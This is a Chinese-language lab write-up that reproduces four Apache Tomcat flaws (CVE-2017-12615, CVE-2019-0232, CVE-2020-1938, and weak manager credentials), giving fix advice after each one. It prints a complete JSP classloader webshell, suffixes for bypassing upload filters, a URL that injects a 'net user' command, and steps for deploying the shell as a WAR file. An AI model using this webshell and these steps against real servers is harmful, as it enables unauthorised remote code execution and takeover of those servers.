tomcat复现网上已经很多了,我就在这篇文章简单的总结一下
Tomcat 任意文件写入(CVE-2017-12615)
影响范围: Tomcat 7.0.0-7.0.81(默认配置)
测试环境:Apache Tomcat v8.5.39
漏洞本质:Tomcat配置文件/conf/web.xml 配置了可写(readonly=false),导致我们可以往服务器写文件。如果配置了默认servlet,则在9.0.1(Beta),8.5.23,8.0.47和7.0.82之前的所有Tomcat版本都包含所有操作系统上的潜在危险的CVE-2017-12615漏洞
docker打开环境https://github.com/vulhub/vulhub
docker ps
docker exec -ti 9eb90787a80f bash
cat conf/web.xml | grep readonly
可以看到Tomcat配置文件/conf/web.xml 配置了可写(readonly=false)
抓个包,修改一下数据包改成put,写入一个jsp文件
可以看到成功写入任意文件
既然可以写入任意文件,那也可以写入后门来getshell
jsp木马:
<%!
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception e) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
}
%>
<%
String cls = request.getParameter("passwd");
if (cls != null) {
new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
}
%>
如存在过滤 绕过方式:
- 文件后缀加/ ( 应用系统中 /在文件名中是非法的,会被自动去除)
- 文件后缀加::$DATA
- 文件后缀加&20 (windows不允许空格结尾
修复建议:将readonly=true,默认为true。
Tomcat 远程代码执行(CVE-2019-0232)
影响范围:9.0.0.M1 ~ 9.0.17 , 8.5.0 ~ 8.5.39 , 7.0.0 ~ 7.0.93
测试环境:Apache Tomcat v8.5.39(apache V8.5.39)、windows
漏洞本质:CVE-2019-0232漏洞是由于Tomcat CGI将命令行参数传递给Windows程序的方式存在错误,使得CHIServler被命令注入影响。该漏洞只影响Windows平台,要求启用了CGIServlet和enableCmdLineArguments参数。但是CGIServlet和enableCmdLineArguments参数默认情况下都不启用。
376行和419行取消注释并添加参数
<init-param>
<param-name>debug</param-name>
<param-value>0</param-value>
</init-param>
<init-param>
<param-name>executable</param-name>
<param-value></param-value>
</init-param>
在content.xml 19行处添加privileged属性为true
在Tomcat\webapps\ROOT\WEB-INF新建cgi目录,并创建xxx.bat文件,名字内容任意。
bin目录下startup.bat 开启tomcat服务
访问http://your-ip/cgi-bin/test.bat?&C:/Windows/System32/net+user,执行net user 命令
(net命令的路径要写全,直接写net user,Tomcat控制台会提示net不是内部命令,也不是可运行的程序,另 必须使用+号连接,使用空格,%2B都会执行失败,控制台报错。)
修复建议:这个默认是关闭的,如果打开了请关闭,若需使用请升级版本。
Tomcat 文件包含漏洞(CVE-2020-1938)
影响范围:7 ~ 7.0.099 、8 ~ 8.5.50 、9 ~ 9.0.30
测试环境:Apache Tomcat v9.0.30
漏洞本质:由于 Tomcat AJP 协议设计上存在缺陷,攻击者通过 Tomcat AJP Connector 可以读取或包含 Tomcat 上所有 webapp 目录下的任意文件,例如可以读取 webapp 配置文件或源代码。此外在目标应用有文件上传功能的情况下,配合文件包含的利用还可以达到远程代码执行的危害。
nmap扫到还有一个AJP端口8009正在监听
使用工具读取 web.xml文件
YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi: Tomcat-Ajp协议文件读取漏洞 (github.com)
(这里试了一下能不能通过文件包含实现RCE,但是只会读文件不会执行命令不知道怎么回事)
修复建议:将 Tomcat 升级到 9.0.31、8.5.51或 7.0.100 版本进行漏洞修复。如无法立即进行版本更新、或者是更老版本的用户,建议直接关闭AJPConnector,或将其监听地址改为仅监听本机localhost。
Tomcat + 弱口令 && 后台getshell漏洞
环境:Apache Tomcat/7.0.94
在conf/tomcat-users.xml文件中配置用户的权限和一个弱口令tomcat/tomcat:
Tomcat 7+的权限有:
- manager(后台管理)
- manager-gui拥有html页面权限
- manager-status拥有查看status的权限
- manager-script拥有text接口权限(包括status权限)
- manager-jmx拥有jmx权限(包括status权限)
- host-manager(虚拟主机管理)
- admin-gui拥有html页面权限
- admin-script拥有text接口权限
<tomcat-users>
<role rolename="manager-gui"/>
<role rolename="manager-script"/>
<role rolename="manager-jmx"/>
<role rolename="manager-status"/>
<role rolename="admin-gui"/>
<role rolename="admin-script"/>
<user username="tomcat" password="tomcat" roles="manager-gui,manager-script,manager-jmx,manager-status,admin-gui,admin-script" />
</tomcat-users>
正常安装的情况下,tomcat7.0.94中默认没有任何用户,且manager页面只允许本地IP访问。只有管理员手工修改了这些属性的情况下,才可以进行攻击。
访问 http://127.0.0.1:8080/manager/html ,输入弱口令tomcat/tomcat进入后台(弱口令可以进行爆破)
写一个jsp的木马(见上),然后打包成war包,上传的war会被自动解压部署
jar -cvf shell.war shell.jsp
war包是用来进行Web开发时一个网站项目下的所有代码,包括前台HTML/CSS/JS代码,以及后台JavaWeb的代码。
当开发人员开发完毕时,就会将源码打包给测试人员测试,测试完后若要发布则也会打包成War包进行发布。War包
可以放在Tomcat下的webapps或word目录,当Tomcat服务器启动时,War包即会随之解压源代码来进行自动部署。
可以看到已经上传上去了,接着使用蚁剑连接后门127.0.0.1:8080/shell/shell.jsp
上传的位置在webapps里
修复建议:取消manager/html功能。若要使用,manager页面应只允许本地IP访问